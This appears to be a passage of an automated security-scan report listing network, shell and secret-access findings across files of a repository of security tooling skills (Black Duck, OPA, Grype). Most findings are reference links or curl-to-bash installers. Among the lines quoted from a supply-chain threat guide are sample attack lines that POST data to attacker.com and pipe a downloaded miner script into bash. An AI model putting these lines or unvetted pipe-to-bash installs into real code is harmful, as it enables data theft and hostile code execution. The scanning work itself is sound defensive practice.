  • Network accessline 179
    script:     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 179
    script:     - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 180
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Network accessline 180
    - |       bash <(curl -s -L https://detect.synopsys.com/detect.sh) \         --blackduck.url=${BLACKDUCK_URL} \
  • Dangerous shell operationline 181
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 181
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 181
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 181
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]

skills/appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovy

  • Dangerous shell operationline 57
    sh 'rm -rf blackduck-output || true'
  • Dangerous shell operationline 57
    sh 'rm -rf blackduck-output || true'
  • Network accessline 88
    script {                     def detectCommand = """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 88
    script {                     def detectCommand = """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 89
    def detectCommand = """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \                             --blackduck.url=${BLACKDUCK_URL} \
  • Network accessline 89
    def detectCommand = """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \                             --blackduck.url=${BLACKDUCK_URL} \
  • Dangerous shell operationline 90
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 90
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 90
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 90
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 141
    script {                     sh """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 141
    script {                     sh """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 142
    sh """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \                             --blackduck.url=${BLACKDUCK_URL} \
  • Network accessline 142
    sh """                         bash <(curl -s -L https://detect.synopsys.com/detect.sh) \                             --blackduck.url=${BLACKDUCK_URL} \
  • Dangerous shell operationline 143
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Dangerous shell operationline 143
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 143
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Network accessline 143
    bash <(curl -s -L https://detect.synopsys.com/detect.sh) \
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]

skills/appsec/sca-blackduck/assets/policy_templates/security_policy.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft-07/schema#",

skills/appsec/sca-blackduck/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/appsec/sca-blackduck/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/sca-blackduck/references/cve_cwe_owasp_mapping.md

  • Network accessline 344
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 344
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 345
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 345
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 346
    - [NVD CVE Database](https://nvd.nist.gov/)
  • Network accessline 346
    - [NVD CVE Database](https://nvd.nist.gov/)
  • Network accessline 347
    - [MITRE ATT&CK](https://attack.mitre.org/)
  • Network accessline 347
    - [MITRE ATT&CK](https://attack.mitre.org/)
  • Network accessline 348
    - [FIRST CVSS Calculator](https://www.first.org/cvss/calculator/3.1)
  • Network accessline 348
    - [FIRST CVSS Calculator](https://www.first.org/cvss/calculator/3.1)

skills/appsec/sca-blackduck/references/license_risk_guide.md

  • Network accessline 360
    This product includes software developed by The Apache Software Foundation (http://www.apache.org/).
  • Network accessline 360
    This product includes software developed by The Apache Software Foundation (http://www.apache.org/).
  • Network accessline 361
    The Apache Software Foundation (http://www.apache.org/).
  • Network accessline 361
    The Apache Software Foundation (http://www.apache.org/).
  • Network accessline 424
    **Resources**: - [SPDX License List](https://spdx.org/licenses/)
  • Network accessline 424
    **Resources**: - [SPDX License List](https://spdx.org/licenses/)
  • Network accessline 425
    - [SPDX License List](https://spdx.org/licenses/)
  • Network accessline 425
    - [SPDX License List](https://spdx.org/licenses/)
  • Network accessline 426
    - [Choose A License](https://choosealicense.com/)
  • Network accessline 426
    - [Choose A License](https://choosealicense.com/)
  • Network accessline 427
    - [TL;DR Legal](https://tldrlegal.com/)
  • Network accessline 427
    - [TL;DR Legal](https://tldrlegal.com/)
  • Network accessline 428
    - [OSI Approved Licenses](https://opensource.org/licenses)
  • Network accessline 428
    - [OSI Approved Licenses](https://opensource.org/licenses)
  • Network accessline 469
    - [Open Source Initiative](https://opensource.org/)
  • Network accessline 469
    - [Open Source Initiative](https://opensource.org/)
  • Network accessline 470
    - [Free Software Foundation](https://www.fsf.org/licensing/)
  • Network accessline 470
    - [Free Software Foundation](https://www.fsf.org/licensing/)
  • Network accessline 471
    - [Linux Foundation - Open Compliance Program](https://www.linuxfoundation.org/projects/open-compliance)
  • Network accessline 471
    - [Linux Foundation - Open Compliance Program](https://www.linuxfoundation.org/projects/open-compliance)
  • Network accessline 472
    - [Google Open Source License Guide](https://opensource.google/documentation/reference/thirdparty/licenses)
  • Network accessline 472
    - [Google Open Source License Guide](https://opensource.google/documentation/reference/thirdparty/licenses)

skills/appsec/sca-blackduck/references/remediation_strategies.md

  • Dangerous shell operationline 249
    const result = eval(userInput);
  • Dangerous shell operationline 249
    const result = eval(userInput);
  • Network accessline 299
    <property name="features">         <map>             <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>
  • Network accessline 299
    <property name="features">         <map>             <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>
  • Network accessline 300
    <map>             <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>             <entry key="http://xml.org/sax/features/external-general-entities" value="false"/>
  • Network accessline 300
    <map>             <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>             <entry key="http://xml.org/sax/features/external-general-entities" value="false"/>
  • Network accessline 301
    <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>
  • Network accessline 301
    <entry key="http://apache.org/xml/features/disallow-doctype-decl" value="true"/>
  • Network accessline 302
    <entry key="http://xml.org/sax/features/external-general-entities" value="false"/>
  • Network accessline 302
    <entry key="http://xml.org/sax/features/external-general-entities" value="false"/>
  • Network accessline 493
    - [NIST Vulnerability Management Guide](https://nvd.nist.gov/)
  • Network accessline 493
    - [NIST Vulnerability Management Guide](https://nvd.nist.gov/)
  • Network accessline 494
    - [OWASP Dependency Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)
  • Network accessline 494
    - [OWASP Dependency Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)
  • Network accessline 495
    - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 495
    - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 496
    - [Snyk Vulnerability Database](https://security.snyk.io/)
  • Network accessline 496
    - [Snyk Vulnerability Database](https://security.snyk.io/)

skills/appsec/sca-blackduck/references/supply_chain_threats.md

  • Network accessline 61
    # npm - use scoped packages for internal code npm config set @company:registry https://npm.internal.company.com
  • Network accessline 61
    # npm - use scoped packages for internal code npm config set @company:registry https://npm.internal.company.com
  • Network accessline 62
    npm config set @company:registry https://npm.internal.company.com
  • Network accessline 62
    npm config set @company:registry https://npm.internal.company.com
  • Network accessline 64
    # Configure .npmrc to prefer internal registry @company:registry=https://npm.internal.company.com
  • Network accessline 64
    # Configure .npmrc to prefer internal registry @company:registry=https://npm.internal.company.com
  • Network accessline 65
    @company:registry=https://npm.internal.company.com
  • Network accessline 65
    @company:registry=https://npm.internal.company.com
  • Network accessline 66
    registry=https://registry.npmjs.org
  • Network accessline 66
    registry=https://registry.npmjs.org
  • Network accessline 68
    # Python - use index-url for internal PyPI pip install --index-url https://pypi.internal.company.com package-name
  • Network accessline 68
    # Python - use index-url for internal PyPI pip install --index-url https://pypi.internal.company.com package-name
  • Network accessline 69
    pip install --index-url https://pypi.internal.company.com package-name
  • Network accessline 69
    pip install --index-url https://pypi.internal.company.com package-name
  • Network accessline 73
    <repository>         <id>company-internal</id>         <url>https://maven.internal.company.com</url>
  • Network accessline 73
    <repository>         <id>company-internal</id>         <url>https://maven.internal.company.com</url>
  • Network accessline 74
    <id>company-internal</id>         <url>https://maven.internal.company.com</url>     </repository>
  • Network accessline 74
    <id>company-internal</id>         <url>https://maven.internal.company.com</url>     </repository>
  • Network accessline 75
    <url>https://maven.internal.company.com</url>
  • Network accessline 75
    <url>https://maven.internal.company.com</url>
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 191
    [Credential-related source omitted]
  • Network accessline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Network accessline 192
    }; fetch('https://attacker.com/collect', {     method: 'POST',
  • Network accessline 192
    }; fetch('https://attacker.com/collect', {     method: 'POST',
  • Network accessline 193
    fetch('https://attacker.com/collect', {
  • Network accessline 193
    fetch('https://attacker.com/collect', {
  • Network accessline 198
    // Cryptocurrency miner const { exec } = require('child_process'); exec('curl http://attacker.com/miner.sh | bash');
  • Network accessline 198
    // Cryptocurrency miner const { exec } = require('child_process'); exec('curl http://attacker.com/miner.sh | bash');
  • Dangerous shell operationline 200
    exec('curl http://attacker.com/miner.sh | bash');
  • Dangerous shell operationline 200
    exec('curl http://attacker.com/miner.sh | bash');
  • Network accessline 200
    exec('curl http://attacker.com/miner.sh | bash');
  • Network accessline 200
    exec('curl http://attacker.com/miner.sh | bash');
  • Network accessline 386
    <!-- Use SRI hashes for external scripts --> <script     src="https://cdn.example.com/library.js"
  • Network accessline 386
    <!-- Use SRI hashes for external scripts --> <script     src="https://cdn.example.com/library.js"
  • Network accessline 387
    <script     src="https://cdn.example.com/library.js"     integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
  • Network accessline 387
    <script     src="https://cdn.example.com/library.js"     integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
  • Network accessline 388
    src="https://cdn.example.com/library.js"
  • Network accessline 388
    src="https://cdn.example.com/library.js"
  • Network accessline 411
    # .npmrc registry=https://artifactory.company.com/api/npm/npm-virtual/
  • Network accessline 411
    # .npmrc registry=https://artifactory.company.com/api/npm/npm-virtual/
  • Network accessline 412
    registry=https://artifactory.company.com/api/npm/npm-virtual/
  • Network accessline 412
    registry=https://artifactory.company.com/api/npm/npm-virtual/
  • Network accessline 413
    @company:registry=https://artifactory.company.com/api/npm/npm-internal/
  • Network accessline 413
    @company:registry=https://artifactory.company.com/api/npm/npm-internal/
  • Network accessline 517
    # 1. Block package in registry curl -X POST https://artifactory/api/blocklist \
  • Network accessline 517
    # 1. Block package in registry curl -X POST https://artifactory/api/blocklist \
  • Network accessline 518
    curl -X POST https://artifactory/api/blocklist \
  • Network accessline 518
    curl -X POST https://artifactory/api/blocklist \
  • Network accessline 573
    **Best Practices**: - [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
  • Network accessline 573
    **Best Practices**: - [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
  • Network accessline 574
    - [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
  • Network accessline 574
    - [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
  • Network accessline 575
    - [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
  • Network accessline 575
    - [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
  • Network accessline 576
    - [SLSA Framework](https://slsa.dev/)
  • Network accessline 576
    - [SLSA Framework](https://slsa.dev/)
  • Network accessline 577
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 577
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 579
    **Incident Databases**: - [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
  • Network accessline 579
    **Incident Databases**: - [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
  • Network accessline 580
    - [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
  • Network accessline 580
    - [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
  • Network accessline 581
    - [Backstabber's Knife Collection](https://dasfreak.github.io/Backstabbers-Knife-Collection/)
  • Network accessline 581
    - [Backstabber's Knife Collection](https://dasfreak.github.io/Backstabbers-Knife-Collection/)
  • Network accessline 585
    - [Sonatype 2022 State of Software Supply Chain](https://www.sonatype.com/state-of-the-software-supply-chain)
  • Network accessline 585
    - [Sonatype 2022 State of Software Supply Chain](https://www.sonatype.com/state-of-the-software-supply-chain)
  • Network accessline 586
    - [MITRE ATT&CK - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/)
  • Network accessline 586
    - [MITRE ATT&CK - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/)
  • Network accessline 587
    - [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
  • Network accessline 587
    - [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
  • Network accessline 588
    - [Linux Foundation - Securing the Software Supply Chain](https://www.linuxfoundation.org/resources/publications/securing-the-software-supply-chain)
  • Network accessline 588
    - [Linux Foundation - Securing the Software Supply Chain](https://www.linuxfoundation.org/resources/publications/securing-the-software-supply-chain)

skills/compliance/policy-opa/SKILL.md

  • Network accessline 17
    packages: [jq, yq] references:   - https://www.openpolicyagent.org/docs/latest/
  • Network accessline 17
    packages: [jq, yq] references:   - https://www.openpolicyagent.org/docs/latest/
  • Network accessline 18
    references:   - https://www.openpolicyagent.org/docs/latest/   - https://www.openpolicyagent.org/docs/latest/policy-language/
  • Network accessline 18
    references:   - https://www.openpolicyagent.org/docs/latest/   - https://www.openpolicyagent.org/docs/latest/policy-language/
  • Network accessline 19
    - https://www.openpolicyagent.org/docs/latest/
  • Network accessline 19
    - https://www.openpolicyagent.org/docs/latest/
  • Network accessline 20
    - https://www.openpolicyagent.org/docs/latest/policy-language/
  • Network accessline 20
    - https://www.openpolicyagent.org/docs/latest/policy-language/
  • Network accessline 21
    - https://www.conftest.dev/
  • Network accessline 21
    - https://www.conftest.dev/
  • Network accessline 40
    # Linux curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 40
    # Linux curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 41
    curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 41
    curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 236
    # Install OPA Gatekeeper kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml
  • Network accessline 236
    # Install OPA Gatekeeper kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml
  • Network accessline 237
    kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml
  • Network accessline 237
    kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml
  • Network accessline 424
    - [OPA Documentation](https://www.openpolicyagent.org/docs/latest/)
  • Network accessline 424
    - [OPA Documentation](https://www.openpolicyagent.org/docs/latest/)
  • Network accessline 425
    - [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-language/)
  • Network accessline 425
    - [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-language/)
  • Network accessline 426
    - [OPA Gatekeeper](https://open-policy-agent.github.io/gatekeeper/website/)
  • Network accessline 426
    - [OPA Gatekeeper](https://open-policy-agent.github.io/gatekeeper/website/)
  • Network accessline 427
    - [Conftest](https://www.conftest.dev/)
  • Network accessline 427
    - [Conftest](https://www.conftest.dev/)
  • Network accessline 428
    - [OPA Kubernetes Tutorial](https://www.openpolicyagent.org/docs/latest/kubernetes-tutorial/)
  • Network accessline 428
    - [OPA Kubernetes Tutorial](https://www.openpolicyagent.org/docs/latest/kubernetes-tutorial/)
  • Network accessline 429
    - [SOC2 Security Controls](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)
  • Network accessline 429
    - [SOC2 Security Controls](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)
  • Network accessline 430
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/)
  • Network accessline 430
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/)
  • Network accessline 431
    - [GDPR Compliance Guide](https://gdpr.eu/)
  • Network accessline 431
    - [GDPR Compliance Guide](https://gdpr.eu/)

skills/compliance/policy-opa/assets/ci-cd-pipeline.yaml

  • Network accessline 211
    image: hashicorp/terraform:latest   before_script:     - apk add --no-cache curl jq
  • Network accessline 211
    image: hashicorp/terraform:latest   before_script:     - apk add --no-cache curl jq
  • Network accessline 212
    before_script:     - apk add --no-cache curl jq     - curl -L -o /usr/local/bin/opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 212
    before_script:     - apk add --no-cache curl jq     - curl -L -o /usr/local/bin/opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 213
    - apk add --no-cache curl jq
  • Network accessline 213
    - apk add --no-cache curl jq
  • Network accessline 214
    - curl -L -o /usr/local/bin/opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64
  • Network accessline 214
    - curl -L -o /usr/local/bin/opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64

skills/compliance/policy-opa/references/compliance-frameworks.md

  • Network accessline 503
    - [SOC2 Trust Services Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)
  • Network accessline 503
    - [SOC2 Trust Services Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)
  • Network accessline 504
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/document_library)
  • Network accessline 504
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/document_library)
  • Network accessline 505
    - [GDPR Official Text](https://gdpr.eu/)
  • Network accessline 505
    - [GDPR Official Text](https://gdpr.eu/)
  • Network accessline 506
    - [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html)
  • Network accessline 506
    - [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html)
  • Network accessline 507
    - [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
  • Network accessline 507
    - [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)

skills/compliance/policy-opa/references/iac-policies.md

  • Network accessline 619
    - [Conftest](https://www.conftest.dev/)
  • Network accessline 619
    - [Conftest](https://www.conftest.dev/)
  • Network accessline 620
    - [Terraform Sentinel](https://www.terraform.io/docs/cloud/sentinel/index.html)
  • Network accessline 620
    - [Terraform Sentinel](https://www.terraform.io/docs/cloud/sentinel/index.html)
  • Network accessline 621
    - [AWS CloudFormation Guard](https://github.com/aws-cloudformation/cloudformation-guard)
  • Network accessline 621
    - [AWS CloudFormation Guard](https://github.com/aws-cloudformation/cloudformation-guard)
  • Network accessline 622
    - [Azure Policy](https://docs.microsoft.com/en-us/azure/governance/policy/)
  • Network accessline 622
    - [Azure Policy](https://docs.microsoft.com/en-us/azure/governance/policy/)
  • Network accessline 623
    - [Checkov](https://www.checkov.io/)
  • Network accessline 623
    - [Checkov](https://www.checkov.io/)

skills/compliance/policy-opa/references/kubernetes-security.md

  • Network accessline 547
    - [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
  • Network accessline 547
    - [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
  • Network accessline 548
    - [OPA Gatekeeper Library](https://github.com/open-policy-agent/gatekeeper-library)
  • Network accessline 548
    - [OPA Gatekeeper Library](https://github.com/open-policy-agent/gatekeeper-library)
  • Network accessline 549
    - [NSA Kubernetes Hardening Guide](https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2716980/)
  • Network accessline 549
    - [NSA Kubernetes Hardening Guide](https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2716980/)
  • Network accessline 550
    - [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes)
  • Network accessline 550
    - [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes)

skills/compliance/policy-opa/references/rego-patterns.md

  • Network accessline 503
    - [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-reference/)
  • Network accessline 503
    - [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-reference/)
  • Network accessline 504
    - [OPA Best Practices](https://www.openpolicyagent.org/docs/latest/policy-performance/)
  • Network accessline 504
    - [OPA Best Practices](https://www.openpolicyagent.org/docs/latest/policy-performance/)
  • Network accessline 505
    - [Rego Style Guide](https://github.com/open-policy-agent/opa/blob/main/docs/content/policy-language.md)
  • Network accessline 505
    - [Rego Style Guide](https://github.com/open-policy-agent/opa/blob/main/docs/content/policy-language.md)

skills/devsecops/container-grype/SKILL.md

  • Network accessline 17
    tools: [grype, docker] references:   - https://github.com/anchore/grype
  • Network accessline 17
    tools: [grype, docker] references:   - https://github.com/anchore/grype
  • Network accessline 18
    references:   - https://github.com/anchore/grype   - https://www.cve.org/
  • Network accessline 18
    references:   - https://github.com/anchore/grype   - https://www.cve.org/
  • Network accessline 19
    - https://github.com/anchore/grype
  • Network accessline 19
    - https://github.com/anchore/grype
  • Network accessline 20
    - https://www.cve.org/
  • Network accessline 20
    - https://www.cve.org/
  • Network accessline 21
    - https://nvd.nist.gov/
  • Network accessline 21
    - https://nvd.nist.gov/
  • Network accessline 324
    - [Grype GitHub Repository](https://github.com/anchore/grype)
  • Network accessline 324
    - [Grype GitHub Repository](https://github.com/anchore/grype)
  • Network accessline 325
    - [Grype Documentation](https://github.com/anchore/grype#getting-started)
  • Network accessline 325
    - [Grype Documentation](https://github.com/anchore/grype#getting-started)
  • Network accessline 326
    - [NIST National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 326
    - [NIST National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 327
    - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 327
    - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 328
    - [FIRST EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/)
  • Network accessline 328
    - [FIRST EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/)
  • Network accessline 329
    - [CVSS Specification](https://www.first.org/cvss/specification-document)
  • Network accessline 329
    - [CVSS Specification](https://www.first.org/cvss/specification-document)

skills/devsecops/container-grype/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
